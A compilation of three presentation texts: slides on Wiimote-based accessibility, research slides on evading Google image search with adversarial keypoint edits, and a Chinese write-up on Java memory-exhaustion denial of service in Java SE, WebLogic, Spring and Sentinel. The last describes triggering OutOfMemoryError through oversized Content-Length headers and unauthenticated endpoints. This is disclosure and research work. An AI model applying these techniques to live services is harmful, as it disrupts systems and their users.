Rob Rehrig Josh Marks Larry Aiello Introduction to the Wiimote  Nintendo’s controller for the Wii system  Infrared camera in the front  Determines direction Wiimote is moving  How far the Wiimote is from the Sensor Bar  Sensor Bar is just 2 clusters of IR LEDs  Wiimote cluster coordinates to determine positioning  Track up to 4 IR sources Why We Chose the Wii Platform  Wiimotes are inexpensive ($40)  Great infrared tracking capabilities  Up to 4 sources  Bluetooth capabilities  Easy to relay information to computer  Existing libraries that access wiimote data  wiiuse.net Our Plan  Provide more interface options for people with disabilities  Infrared Tracking  Head to mouse tracking  Gesture recognition  Weight shift tracking  Mouse simulation Help the Disabled  Head tracking to provide alternate mouse control  Gesture recognition to reduce interface complexity  Wii Balance Board for added mouse control Infrared Tracking – Head Tracking  Attach an infrared source to the head  Enables head movement to mouse positioning  Wiimote tracks IR positioning on head  Relays the coordinates to create mouse positioning  3 Dimensional positioning  X and Y coordinates for mouse movement  Z coordinate to determine distance from the screen Wii Balance Board Tracking  16 bit Pressure sensors in the feet  1 on each corner (4 total)  Calibrate initial pressure  Returns pressure displacements Long Term Goals/Possibilities  Sign language recognition  More user interface capabilities and controls  A simpler design (less wires and power used) Wii love you all! Thank You For Coming!
pdf
Fooling Image Search Engine Yuanjun Gong,Bin Liang*,Jianjun Huang {Gongyuanjun, liangb, hjj}@ruc.edu.cn Renmin University of China 1 2 1. Introduction 2. Technical Background 3. Methodology 4. Attacking Google Image Search Engine 5. Discussion 6. Conclusion Outline • Image search engines (e.g. Google, Baidu) provide service of reverse image search, or search by image, to allow users to search for related images by uploading an image or image URL. • Reverse image search is a content-based image retrieval (CBIR) query technique that involves providing the CBIR system with a sample image that it will then base its search upon; in terms of information retrieval, the sample image is what formulates a search query.[1] Reverse image search may be used to • Locate the source of an image • Find higher resolution versions • Track down the content creator • Detect plagiarism [1]https://en.wikipedia.org/wiki/Reverse_image_search 1. Introduction Query image x Search result 4 …… Query image Search result 5 Query image Search result 6 Plagiarism Detection Original image Poster of a TV play suspected plagiarism The poster of TV play Fuyao released in June 2016, was accused of plagiarism. The original image is created in 2014 by LuHe, a painter. 7 Plagiarism Detection …… poster Original picture • CBIR system can be a potential attack target. • Adversaries may evade the search engine by introducing perturbations to the query image. 8 +𝜀 Query image x adversarial image x’ No results Evasion Matching Images Query image x Threat model 9 Evasion Search result: original image Query image 10 Evasion Adversarial image No search result: evasion 11 Images Database Local Features (SIFT, SURF, etc.) Index Database ··· Aggregated Feature (BoF, VLAD, etc.) Query image ··· Image With greatest similarity CBIR framework Similarity matching 2. Technical Background Local Features (SIFT, SURF, etc.) Aggregated Feature (BoF, VLAD, etc.) 12 • Essentially, searching similar images in CBIR systems is a image descriptors matching process. SIFT (Scale Invariant Feature Transform ) [2] and SURF (Speeded Up Robust Features) [3] are widely used local featuring algorithms. SIFT descriptor matching Local Features • SIFT is more accurate while SURF has a higher speed. [1] Lowe, David G., and D. G. Lowe. "Distinctive Image Features from Scale-Invariant Keypoints." International Journal of Computer Vision 60.2(2004):91-110 [2] Bay, Herbert, T. Tuytelaars, and L. V. Gool. "SURF: Speeded Up Robust Features." European Conference on Computer Vision Springer-Verlag, 2006:404-417. 13 SIFT and SURF algorithms both build image pyramids, referred to as scale space, to find keypoints in different scale. They both apply a non-maximum suppression in a 3×3×3 neighborhood to find the potential keypoints. Point 𝒙 is recorded as a keypoint only when 𝑎𝑏𝑠(𝑣𝑎𝑙𝑢𝑒(𝑥))>T, while T refers to the threshold of the algorithm. For each octave of scale space, the initial image is repeatedly convolved with Gaussians to produce the set of scale space. Adjacent Gaussian images are subtracted to produce the difference- of-Gaussian images. Scale space 26 neighbors in 3×3×3 regions SIFT [2] 14 Instead of using DOG-value, SURF uses the approximation of the determinant of Hessian matrix. Given a point 𝒙 = (𝑥, 𝑦) in an image I, the Hessian matrix 𝐻(𝒙, 𝜎) in 𝒙 at scale 𝜎 is defined as follows 𝐻 𝒙, 𝜎 = 𝐿𝑥𝑥 𝒙, 𝜎 𝐿𝑥𝑦 𝒙, 𝜎 𝐿𝑥𝑦 𝒙, 𝜎 𝐿𝑦𝑦 𝒙, 𝜎 where 𝐿𝑥𝑥(𝑥, 𝜎) is the convolution of the Gaussian second order derivative with the image I in point 𝑥. Using box filter instead of Gaussian second order derivative to speed up, the approximation of 𝐿𝑥𝑥 𝒙, 𝜎 is denoted by 𝐷𝑥𝑥 𝒙, 𝜎 . Therefore 𝑑𝑒𝑡 𝐻𝑎𝑝𝑝𝑟𝑜𝑥 = 𝐷𝑥𝑥𝐷𝑥𝑦 − 0.9𝐷𝑥𝑦 2 SURF [3] 15 • CBIR systems perform well with rotated image, gray scale image, or even part of the image. SIFT/SURF are rotation invariable and scale invariable, therefore original image can be retrieved using rotated image and small-scale image as query images. SIFT/SURF’s robustness makes it possible to achieve a successful search with only about 10% keypoints. Small-scale image original image Part of the image Rotated image Performance • Descriptor plays an important role in image matching. Therefore, the basic idea of bypassing an image retrieval system is to change the statistical histogram of keypoints descriptors. • Two methods ① Removing original keypoints from the image ② Injecting external keypoints to the image • Note that utility-preserving is required. 16 3. Methodology • An adversarial image should be utility-preserving, i.e., it must keep its original visual semantics for a human observer. 17 Adversarial image (acceptable) Original image Adversarial image (unacceptable) Utility-Preserving Requirement +𝜀 +𝜀 18 Original image 187 SIFT keypoints Processed image 73 SIFT keypoints RMD Removal with Minimum local Distortion attack (RMD) targets a limited number of keypoints to be erased. It introduce a value 𝛿+ > 0 that defines the subset 𝜀𝛿+ = 𝑥: 𝐶 < 𝐷 𝑥 < 𝐶 + 𝛿+ . Erasing keypoint x in 𝜀𝛿+ means to decrease the absolute of DOG-value |D(x)| by an amount |𝛿| such that its new value is below the threshold C ,C is the fixed contrast threshold. Some SIFT keypoints removal algorithm have been proposed in resent years, We employ the fast and effective RMD [4] method to remove SIFT keypoints. [4] Do, Thanh Toan, et al. "Deluding image recognition in sift-based cbir systems." ACM Workshop on Multimedia in Forensics, Security and Intelligence ACM, 2010:7-12. 3.1 SIFT Keypoints Removing Method As far as we know, there are no particular SURF keypoint removal algorithms in the early works. Therefore we propose a method called R-SURF to remove SURF keypoints, it is a optimization-based keypoints removing algorithm. For every target keypoint, support area S(x) is determined and three box filters 𝐾𝑥𝑥, 𝐾𝑥𝑦, 𝐾𝑦𝑦 are reconstructed based on the scale 𝜎 of the keypoint, and the following nonlinear optimization is constructed. 19 min 𝑓 = ෍ 𝑢,𝑣 ∈𝑆 𝒙 𝜀 𝑢, 𝑣 𝑠. 𝑡. 𝐾𝑥𝑥⨂I′ 𝒙 × 𝐾𝑦𝑦⨂I′ 𝒙 − 0.81 × 𝐾𝑥𝑦⨂I′ 𝒙 2 < 𝑇 I 𝑢, 𝑣 + 𝜀 𝑢, 𝑣 ≥ 0 , 𝑢, 𝑣 ∈ 𝑆 𝒙 I 𝑢, 𝑣 + 𝜀 𝑢, 𝑣 ≤ 255 , 𝑢, 𝑣 ∈ 𝑆 𝒙 Where 𝐼′ 𝑢, 𝑣 = 𝐼 𝑢, 𝑣 + 𝜀 𝑢, 𝑣 , the increment 𝜀 𝑢, 𝑣 is added to each point I(u,v) in support area S(x). Try to find smallest distortion σ 𝜀 𝑢, 𝑣 when 𝐷 ′(𝑥, 𝜎) < 𝑇 holds. 3.2 R-SURF:SURF Keypoints Removing Method 20 Original image 186 SURF keypoints Processed image 122 SURF keypoints R-SURF • This algorithm causes very little distortion to image. In general, we only remove some low-level, small-scale keypoints in the images to avoid obvious distortion. 21 • Target system: The target system VisualIndex is a MATLAB and VLFeat based simple image indexing engine, created by Andrea Vedaldi. https://github.com/vedaldi/visualindex (codebook=10000,image database=flikr2500) Query in target system RMD with ten iterations Can bypass VisualIndex The system can be bypassed with removal algorithm, when query images contain small amount of keypoints. 3.3 Evaluation: Removal Query image Search result 22 Query in target system RMD with sixty iterations Can bypass But cannot preserve utility Query in target system RMD with ten iterations Cannot bypass VisualIndex VisualIndex Evaluation: Removal Query image Search result Query image Search result 23 In order to meet the utility-preserving requirement, keypoints injection methods are introduced as well. Two problems are needed to be addressed. • Where to inject SIFT keypoints? • Inject inside the original image directly • Inject to a frame surrounding the image • How to generate SIFT keypoints to be injected? • Generate SIFT keypoints with IMD algorithm (the inverse operation of RMD) • Construct a frame with malformed basic bricks 3.4 Keypoints Injection Method 24 IMD (Injection with Minimum local Distortion ) is the inverse operation of RMD algorithm. It targets a collection of potential keypoints, assigning location and scale information for each point randomly. For each potential keypoint, the absolute of DOG-value |D(x)| is calculated. If |D(x)| is smaller than the threshold C, a patch will be added upon the original image to meet the threshold. The size and value of the patch is calculated using scale information and Gaussian filter. resultant image Keypoints of resultant image Keypoints of original image IMD Algorithm Introduced keypoints 25 IMD Introduced keypoints IMD image Original image Inject to a frame 26 To minimize the size of frame, we construct the frame with basic bricks to generate keypoints as many as possible. In order to know the visual feature of SIFT keypoints, we extract SIFT keypoints as well as their surrounding regions from images, using K-means clustering algorithm to obtain multiple centroids, and finally build grains based on the result of clustering algorithm. We can see that a keypoint generates where there is an edge or corner. One cluster of k-means A kind of grain is build. The contrast of grain should be changed to meet different SIFT threshold. Keypoints are generated as many as possible. Keypoints visualization grain Basic Bricks 27 Query in target system IMD inside image Can bypass VisualIndex Query image Search result The system can be bypassed with injection algorithm, when query images contain small amount of keypoints. 3.5 Evaluation: Injection Evaluation: Injection 28 Query in target system IMD inside image Cannot bypass Query in target system Inject frame (IMD) Cannot bypass VisualIndex VisualIndex Query image Search result Query image Search result Query in target system RMD removal + basic bricks Injection Query in target system RMD removal + IMD Injection 29 This experiment shows that it is feasible to bypass VisualIndex system with removal and injection algorithms. VisualIndex Query image Search result VisualIndex Query image Search result 3.6 Evaluation: Hybrid • Challenge • Unknown algorithm • 0/1 feedback • Our guess • Google image retrieval system uses local descriptors such as SIFT/SURF. • Bypassing strategy • Removal only • Injection only • Hybrid: Combination of the above two methods 30 4. Attacking Google Image Search Engine 31 For some images that contain very few keypoints, performing RMD with one iteration can bypass google image search engine successfully. Original image Adversarial image RMD with one iteration Removal Only 32 Keypoints removal algorithms may cannot remove big-scale keypoints without making unacceptable distortion. Experiment shows that if leaving the big-scale keypoints unremoved, 10% of keypoints can lead to correct searching results, due to the robustness of CBIR system. RMD with one iteration CANNOT bypass RMD with five iterations CAN bypass Removal Only Original image 33 Injection only strategy performs well on some simple images, however, as the image on the right shows, sometimes ‘injection only’ strategy is useless and unacceptable. On account of utility preserving, we should make the adversarial image as natural as possible. Strategies ‘Removal only’ and ‘Injection only’ may not meet this requirement sometimes. We should use a hybrid strategy for better performance. IMD on 50-pixel-wide frame CANNOT bypass Google image search IMD on 15-pixel-wide frame CAN bypass Google image search Injection Only 34 SIFT keypoints visualization SIFT keypoints of original picture Injected keypoints Removed keypoints New keypoints generated RMD with one iteration + IMD on 15-pixel-wide frame Hybrid: Combination of Removal and Injection 35 Matching images can be retrieved using original image 36 Successfully bypassing Google image search RMD with one iteration + IMD on 15-pixel-wide frame 37 Successfully bypassing Google image search RMD with one iteration + basic brick frame 38 Evasion Search result: original image Query image 39 Evasion Adversarial image No search result: evasion Injected keypoints Removed keypoints • Source/target attack • A source/target attack means to force the search result of an adversarial image to be a specific target image. 40 • Source/target attacks will support more sophisticated attacks. +𝜀 adversarial image x’ Query image x specific target image y Threat model 5. Discussion 41 Query in target system Injected with keypoints from target image • This experiment shows it is possible to achieve source/target attack by injecting keypoints from target image. • However, severe distortion is caused. • We will seek for a better strategy in further study. VisualIndex Query image Search result Source/Target attacking demo 42 • In this work, we present • A threat model of evading CBIR systems • Several algorithms for removing/injecting keypoints • Three bypassing strategies: removal only, injection only and hybrid • Evading VisualIndex system • Evading Google Image Search Engine • To conclude, our work proves the existence of threats to CBIR systems and demonstrates that industrial-level image search engines, such as Google Image Search, are prone to be attacked with adversarial images. 6. Conclusion THANKS! Q&A
pdf
⼀、什么是DoS? DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击⾏为被称为DoS攻 击,其⽬的是使计算机或⽹络⽆法提供正常的服务。拒绝服务存在于各种⽹络服务 上,这个⽹络服务可以是c、c++实现的,也可以是go、java、php、python等等语 ⾔实现。 ⼆、Java DoS的现状 在各种开源和闭源的java系统产品中,我们经常能看到有关DoS的缺陷公告,其中 ⼤部分都是耗尽CPU类型或者业务卸载类型的DoS。耗尽CPU类型的DoS⼤体上主 要包括“正则回溯耗尽CPU、代码⼤量重复执⾏耗尽CPU、死循环代码耗尽CPU” 等。⽽业务卸载DoS这⼀类型的DoS则和系统业务强耦合,⼀般情况下并不具备通 ⽤性。下⾯⽤⼏个简单例⼦对其进⾏简单描述。 正则回溯耗尽CPU Pattern.matches(controllableVariableRegex, controllableVariableText) 代码⼤量重复执⾏耗尽CPU for(int i = 0; i < controllableVariable; i++) { //do something,e.g. consume cpu } 死循环耗尽CPU while(controllableBoolVariable) { //do something,e.g. consume cpu } 业务卸载DoS(当任意⽤户可访问到uninstall⽅法的情况下,业务就可能会被恶 意卸载,导致正常⽤户的服务被拒绝) private final Set<String> availables = new HashSet(); public void service(String type, String name) { if (availables.contains(type)) { //do service } else { //reject service } } public void uninstall(String type) { availables.remove(type) } 我曾经在挖掘XStream反序列化利⽤链的时候,也找到过可以发起“正则回溯耗尽 CPU、死循环耗尽CPU”类型DoS攻击的利⽤链,并且最终获得了XStream的多个 CVE编号标记和署名。 java.io.ByteArrayInputStream(死循环耗尽CPU) https://x- stream.github.io/CVE-2021-21341.html java.util.Scanner(正则回溯耗尽CPU) https://x-stream.github.io/CVE-2021- 21348.html 难道Java系统中,只存在这些类型的DoS吗?我不认为是这样的,我认为Java系统 中,必然存在着⼤量其他类型的DoS缺陷,只是我们还没发现。当我在某⼀天审计 ⼀个Java系统时,灵光⼀闪,突然发现了⼀个和这些DoS类型都不⼀样的缺陷,并 且,在通过对其他⼤量的Java系统审计时,它普遍存在,我知道了这是⼀个具有普 遍性存在的缺陷 - Memory DoS 三、Java异常机制 在c、c++等语⾔实现的⽹络服务中,可能存在空指针DoS、CPU耗尽DoS等等各种 各样类型的DoS,为什么在Java中,DoS的类型却少得可怜?这⼜不得不说起Java 中的异常机制了。 Java异常在JRE源码实现中,主要分为了java.lang.Exception和java.lang.Error,它 们都有⼀个共同的实现java.lang.Throwable。经常写Java代码的程序员,可能最不 喜欢就是遇到这样的麻烦了。 (关于异常的描述,简单参考了⼀下runoob) 异常是程序中的⼀些错误,但并不是所有的错误都是异常,并且错误有时候是可以 避免的。 ⽐如说,你的代码少了⼀个分号,那么运⾏出来结果是提示是错误 java.lang.Error;如果你⽤System.out.println(11/0),那么你是因为你⽤0做了除 数,会抛出 java.lang.ArithmeticException 的异常。 异常发⽣的原因有很多,通常包含以下⼏⼤类: ⽤户输⼊了⾮法数据。 要打开的⽂件不存在。 ⽹络通信时连接中断,或者JVM内存溢出。 这些异常有的是因为⽤户错误引起,有的是程序错误引起的,还有其它⼀些是因为 物理错误引起的。- 要理解Java异常处理是如何⼯作的,你需要掌握以下三种类型 的异常: 检查性异常:最具代表的检查性异常是⽤户错误或问题引起的异常,这是程序 员⽆法预⻅的。例如要打开⼀个不存在⽂件时,⼀个异常就发⽣了,这些异常 在编译时不能被简单地忽略。 运⾏时异常: 运⾏时异常是可能被程序员避免的异常。与检查性异常相反,运 ⾏时异常可以在编译时被忽略。 错误: 错误不是异常,⽽是脱离程序员控制的问题。错误在代码中通常被忽 略。例如,当栈溢出时,⼀个错误就发⽣了,它们在编译也检查不到的。 关于Java异常机制的描述,上述已经说得很清楚了,当出现异常的时候,往往⼤部 分是可以被捕获处理的,但是,当出现错误的时候,意味着程序已经不能正常运⾏ 了。也就是说,我们在Java系统中产⽣的⼤部分异常,是没办法导致DoS的,只有 造成了错误,才会使程序不能正常运⾏,导致DoS,这就是为什么在Java中,DoS 的类型相对少的原因了。 翻看JRE中关于错误java.lang.Error的实现,可以看到⾮常⾮常之多,⽽今天的主⻆ 是java.lang.OutOfMemoryError,也就是说,我们如果能让程序产⽣ java.lang.OutOfMemoryError错误,就可以实现DoS。⼤多数java程序员应该都很熟 悉它,抛出java.lang.OutOfMemoryError错误,⼀般都出现在jvm内存不⾜,或者内 存泄露导致gc⽆法回收中。 四、⼀种普遍存在的Memory DoS 上⼀节说到了,我们如果能让程序产⽣java.lang.OutOfMemoryError错误,就可以 实现DoS,它叫Memory DoS,⼀种耗尽内存,导致程序抛出错误的DoS攻击。 那么,如何让⼀个Java系统产⽣java.lang.OutOfMemoryError错误呢?答案必然是 “耗尽内存”! 我曾经通过简单的代码扫描⼯具,对多个java系统、组件进⾏了扫描,其中发现了 ⼤量可利⽤的Memory DoS缺陷,是的,这意味着我能让这些系统产⽣ java.lang.OutOfMemoryError错误。⽽这些系统、组件中包含了Java SE、 WebLogic、Spring、Sentinel、Jackson、xstream等等⽐较著名的系统和组件。 0x01 Java SE 我在对Java SE的扫描中,发现了有三个class在反序列化的时候,可以导致系统产 ⽣java.lang.OutOfMemoryError错误,对系统进⾏Memory DoS攻击。我⻢上报告 给了Oracle,最终在Java SE 8u301中得到修复,并且我在2021.07的安全通知中 https://www.oracle.com/security-alerts/cpujul2021.html,得到了"Security-In- Depth"的署名 让我们先看看Java SE 8u301的修复和修复前,它们之间的差异对⽐吧。 java.time.zone.ZoneRules#readExternal 修复前: static ZoneRules readExternal(DataInput in) throws IOException, ClassNotFoundException { int stdSize = in.readInt(); long[] stdTrans = (stdSize == 0) ? EMPTY_LONG_ARRAY : new long[stdSize]; for (int i = 0; i < stdSize; i++) { stdTrans[i] = Ser.readEpochSec(in); } ... } 修复后: static ZoneRules readExternal(DataInput in) throws IOException, ClassNotFoundException { int stdSize = in.readInt(); if (stdSize > 1024) { throw new InvalidObjectException("Too many transitions"); } long[] stdTrans = (stdSize == 0) ? EMPTY_LONG_ARRAY : new long[stdSize]; for (int i = 0; i < stdSize; i++) { stdTrans[i] = Ser.readEpochSec(in); } ... } java.awt.datatransfer.MimeType#readExternal 修复前: public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { String s = in.readUTF(); if (s == null || s.length() == 0) { // long mime type byte[] ba = new byte[in.readInt()]; in.readFully(ba); s = new String(ba); } try { parse(s); } catch(MimeTypeParseException e) { throw new IOException(e.toString()); } } 修复后: public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { String s = in.readUTF(); if (s == null || s.length() == 0) { // long mime type ByteArrayOutputStream baos = new ByteArrayOutputStream(); int len = in.readInt(); while (len-- > 0) { baos.write(in.readByte()); } s = baos.toString(); } try { parse(s); } catch(MimeTypeParseException e) { throw new IOException(e.toString()); } } com.sun.deploy.security.CredentialInfo#readExternal 修复前: public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { try { this.userName = (String)var1.readObject(); this.sessionId = var1.readLong(); this.domain = (String)var1.readObject(); this.encryptedPassword = new byte[var1.readInt()]; for(int var2 = 0; var2 < this.encryptedPassword.length; ++var2) { this.encryptedPassword[var2] = var1.readByte(); } } catch (Exception var3) { Trace.securityPrintException(var3); } } 修复后: public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { try { this.userName = (String)var1.readObject(); this.sessionId = var1.readLong(); this.domain = (String)var1.readObject(); int var2 = var1.readInt(); if (var2 > 4096) { throw new SecurityException("Invalid password length (" + var2 + "). It should not exceed " + 4096 + " bytes."); } this.encryptedPassword = new byte[var2]; for(int var3 = 0; var3 < this.encryptedPassword.length; ++var3) { this.encryptedPassword[var3] = var1.readByte(); } } catch (Exception var4) { Trace.securityPrintException(var4); } } 通过这三个例⼦,⼤家看出来了什么了吗? 是的,这是⼀种利⽤数组在初始化时,容量参数可控,从⽽存在的⼀种Memory DoS缺陷。当恶意⽤户控制了容量参数,把参数值⼤⼩设置为int最⼤值 2147483647-2(2147483645是数组初始化最⼤限制),那么,在数组初始化时, JVM会因为内存不⾜,从⽽导致系统产⽣java.lang.OutOfMemoryError错误,实现 Memory DoS。 0x02 WebLogic 我在对Weblogic的扫描中,发现了有⼏⼗个class在反序列化的时候,可以导致系统 产⽣java.lang.OutOfMemoryError错误,对系统进⾏Memory DoS攻击。扫描虽然 使⽤了⼏分钟,但我写报告却花了⼤量的时间:)。 在报告给了Oracle后,2021.07的安全通知中https://www.oracle.com/security- alerts/cpujul2021.html,我得知其被修复,并且得到了CVE-2021-2344, CVE- 2021-2371, CVE-2021-2376, CVE-2021-2378四个CVE以及署名。 WebLogic中的Memory DoS和Java SE的没有太⼤的差别,就不⼀⼀列出来了。 com.tangosol.run.xml.SimpleDocument#readExternal(java.io.O bjectInput) public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { int cch = in.readInt(); char[] ach = new char[cch]; Utf8Reader reader = new Utf8Reader((InputStream)in); int cchBlock; for(int of = 0; of < cch; of += cchBlock) { cchBlock = reader.read(ach, of, cch - of); if (cchBlock < 0) { throw new EOFException(); } } XmlHelper.loadXml(new String(ach), this, false); } 不过,前⾯WebLogic以及Java SE中,举的例⼦都是在数组初始化时进⾏的攻击的 sink。实际上,还有另外⼀种,它就是java集合Collection,当⼀个Collection在初 始化时,往往在其内部实现中,会初始化⼀个或多个数组,存储数据。那么,如果 在Collection初始化时,我们可以控制它的容量参数,就能让JVM内存不⾜,从⽽导 致系统产⽣java.lang.OutOfMemoryError错误,造成Memory DoS。 weblogic.deployment.jms.PooledConnectionFactory#readExter nal public void readExternal(ObjectInput in) throws IOException { int extVersion = in.readInt(); if (extVersion != 1) { throw new IOException(JMSPoolLogger.logInvalidExternalVersionLoggable(extVers ion).getMessage()); } else { this.wrapStyle = in.readInt(); this.poolName = in.readUTF(); this.containerAuth = in.readBoolean(); int numProps = in.readInt(); this.poolProps = new HashMap(numProps); for(int inc = 0; inc < numProps; ++inc) { String name = in.readUTF(); String value = in.readUTF(); this.poolProps.put(name, value); } this.poolManager = JMSSessionPoolManager.getSessionPoolManager(); this.poolManager.incrementReferenceCount(this.poolName); JMSPoolDebug.logger.debug("In PooledConnectionFactory.readExternal()[poolManager=" + this.poolManager + "]"); } } 可以看到,代码中的这⼀⾏HashMap初始化,我们是可以控制它的构造参数值⼤⼩ 的。 this.poolProps = new HashMap(numProps); 现在HashMap的构造参数我们可控了,意味着,我们可以⾃由指定其初始化容量的 ⼤⼩,若其⼤⼩超过了JVM可⽤内存,将会导致系统产⽣ java.lang.OutOfMemoryError错误,实现Memory DoS。 0x03 Spring 在Spring中,我对其mvc框架的源码进⾏了简单的审计,发现在⼀个 HttpMessageConverter中,存在数组初始化容量参数可控的情况,当对http进⾏简 单构造后,将能导致系统产⽣java.lang.OutOfMemoryError错误,实现Memory DoS。 我在报告给Spring官⽅后,他们认为这虽然是⼀个安全问题,但是理应由其他系统 去对其进⾏限制,所以,不予修复。 我也向Spring开发者提供了修复的建议,但他们最终没有采纳,所以,这个安全问 题依然存在,不过幸运的是,⼤家⽆需担⼼,因为这个漏洞的利⽤,需要⼀定的前 提条件。 org.springframework.http.converter.ByteArrayHttpMessageCo nverter @Override public byte[] readInternal(Class<? extends byte[]> clazz, HttpInputMessage inputMessage) throws IOException { long contentLength = inputMessage.getHeaders().getContentLength(); ByteArrayOutputStream bos = new ByteArrayOutputStream(contentLength >= 0 ? (int) contentLength : StreamUtils.BUFFER_SIZE); StreamUtils.copy(inputMessage.getBody(), bos); return bos.toByteArray(); } public ByteArrayOutputStream(int size) { if (size < 0) { throw new IllegalArgumentException("Negative initial size: " + size); } buf = new byte[size]; } 可以看到,当我们发起的http请求中,我们是可以利⽤Content-Length这个http header,控制byte数组的初始化容量,如果我们传⼊的Content-Length的⼤⼩为 Long类型的最⼤值,将会导致系统产⽣java.lang.OutOfMemoryError错误,实现 Memory DoS攻击。 不过想要利⽤这个漏洞,前提是需要开发者编写了某种实现的Controller,它需要 Controller接收⼀个byte[]类型的参数,因为只有这样,Spring在http payload转换 时,才是使⽤ org.springframework.http.converter.ByteArrayHttpMessageConverter对其进⾏处 理。 /** * @author threedr3am */ @RestController public class TestController { @PostMapping(value = "/test") public String test(@RequestBody byte[] bytes) { return "ok"; } } 0x04 Sentinel github:https://github.com/alibaba/Sentinel 前⾯说了Java SE、WebLogic、Spring,但是所有⽆外乎都是针对数组初始化参数 的攻击,那么,还有没有其他能造成系统产⽣java.lang.OutOfMemoryError错误的 Memory DoS呢? 答案是“有”的,我在对Alibaba Sentinel进⾏审计的时候,发现了它的管控平台,也 可以称之为注册中⼼(sentinel-dashboard),存在⼀个⽆需认证即可访问的http endpoint,稍加利⽤,就能导致系统产⽣java.lang.OutOfMemoryError错误。如果 熟悉Sentinel的⼈都清楚,它是⼀个开源的限流熔断组件,在官⽅实现中,接⼊ Sentinel的客户端,都会向注册中⼼进⾏服务注册,可能是为了降低使⽤、接⼊ Sentinel的难度,这个服务注册的http endpoint是⽆需认证即可访问的。 这个http endpoint是/registry/machine com.alibaba.csp.sentinel.dashboard.controller.MachineRegistr yController#receiveHeartBeat @ResponseBody @RequestMapping("/machine") public Result<?> receiveHeartBeat(String app, @RequestParam(value = "app_type", required = false, defaultValue = "0") Integer appType, Long version, String v, String hostname, String ip, Integer port) { if (StringUtil.isBlank(app) || app.length() > 256) { return Result.ofFail(-1, "invalid appName"); } if (StringUtil.isBlank(ip) || ip.length() > 128) { return Result.ofFail(-1, "invalid ip: " + ip); } if (port == null || port < -1) { return Result.ofFail(-1, "invalid port"); } if (hostname != null && hostname.length() > 256) { return Result.ofFail(-1, "hostname too long"); } if (port == -1) { logger.warn("Receive heartbeat from " + ip + " but port not set yet"); return Result.ofFail(-1, "your port not set yet"); } String sentinelVersion = StringUtil.isBlank(v) ? "unknown" : v; version = version == null ? System.currentTimeMillis() : version; try { MachineInfo machineInfo = new MachineInfo(); machineInfo.setApp(app); machineInfo.setAppType(appType); machineInfo.setHostname(hostname); machineInfo.setIp(ip); machineInfo.setPort(port); machineInfo.setHeartbeatVersion(version); machineInfo.setLastHeartbeat(System.currentTimeMillis()); machineInfo.setVersion(sentinelVersion); appManagement.addMachine(machineInfo); return Result.ofSuccessMsg("success"); } catch (Exception e) { logger.error("Receive heartbeat error", e); return Result.ofFail(-1, e.getMessage()); } } -> com.alibaba.csp.sentinel.dashboard.discovery.AppManagemen t#addMachine @Override public long addMachine(MachineInfo machineInfo) { return machineDiscovery.addMachine(machineInfo); } -> com.alibaba.csp.sentinel.dashboard.discovery.SimpleMachine Discovery#addMachine private final ConcurrentMap<String, AppInfo> apps = new ConcurrentHashMap<>(); @Override public long addMachine(MachineInfo machineInfo) { AssertUtil.notNull(machineInfo, "machineInfo cannot be null"); AppInfo appInfo = apps.computeIfAbsent(machineInfo.getApp(), o -> new AppInfo(machineInfo.getApp(), machineInfo.getAppType())); appInfo.addMachine(machineInfo); return 1; } 通过跟踪上述代码,可以看到,⽤户提交的数据,径直得往内存中存储。因为这个 http endpoint⽀持GET、POST请求,所以当我们在发送http请求中使⽤POST⽅ 式,并且在body中添加⾮常⼤的数据,⽐如app参数,放⼀个1MBytes或者 10MBytes,亦或者更⼤的数据,那么,将会导致服务端内存耗尽,⽽产⽣ java.lang.OutOfMemoryError错误,实现Memory DoS。 0x05 注意之处 有的读者在测试数组初始化Memory DoS的时候,发现虽然可以使系统产⽣ java.lang.OutOfMemoryError错误,但是系统并没有因此⽽崩溃,实现完整的 Memory DoS,这是什么原因呢? 且看下⾯这三个例⼦: 完整Memory DoS private byte[] bytes; public ? service(int size) { bytes = new byte[size]; //do something } ⼀定时间内的Memory DoS public ? service(int size) { byte[] bytes = new byte[size]; //do 5s something } 短暂的Memory DoS public ? service(int size) { byte[] bytes = new byte[size]; //do 100ms something } 在看完这三个例⼦之后,我相信⼤部分熟悉JVM gc机制的⼈都能⽴⻢懂了,其实这 就是共享变量引⽤对象和局部变量引⽤对象之间的区别。 因为JVM的gc机制是根据对象引⽤来确定对象内存是否需要被回收的,⽽这⾥,我 们初始化的数组对象如果是局部变量引⽤,并且仅有局部变量引⽤,那么,这就意 味着,当这个线程栈执⾏完成之后,如果引⽤已经不存在了,那么JVM在执⾏gc的 时候就会回收这⼀块内存,所以,单独这样我们只能得到短暂时间内的Memory DoS,可能是5秒(已经⽐较优质了),也可能只有0.1秒,没办法完全实现Memory DoS,⽽只有让这个对象⽣命周期⾜够⻓,或者引⽤⼀直存在,那么,在其⽣命周 期内,我们才能⻓时间占⽤JVM堆⾜够多的内存,让JVM⽆法回收这部分内存,从 ⽽实现Memory DoS。 还有⼀个最重要的点,JVM对应数组初始化的⼤⼩是有限制的,最⼤数组⻓度是 2147483645,约等于2047.999997138977051MBytes,所以,如果遇到可控共享 变量引⽤对象的场景,我们只能控制⼀个对象数组⼤⼩,⼀旦JVM最⼤可⽤堆内存 远⽐其数组⼤的话,对于实现Memory DoS也是⽐较难的。 五、总结 java中只要能产⽣Error,⼤概率就能造成DoS 通过控制数组Array、集合Collection初始化容量参数,可以实现Memory DoS 往集合Collection中插⼊⼤量的垃圾数据,也可以实现Memory DoS 由于这篇⽂章实际上没什么硬核的东⻄,所以,就不写太多的例⼦了,以免⼜臭⼜ ⻓。
pdf
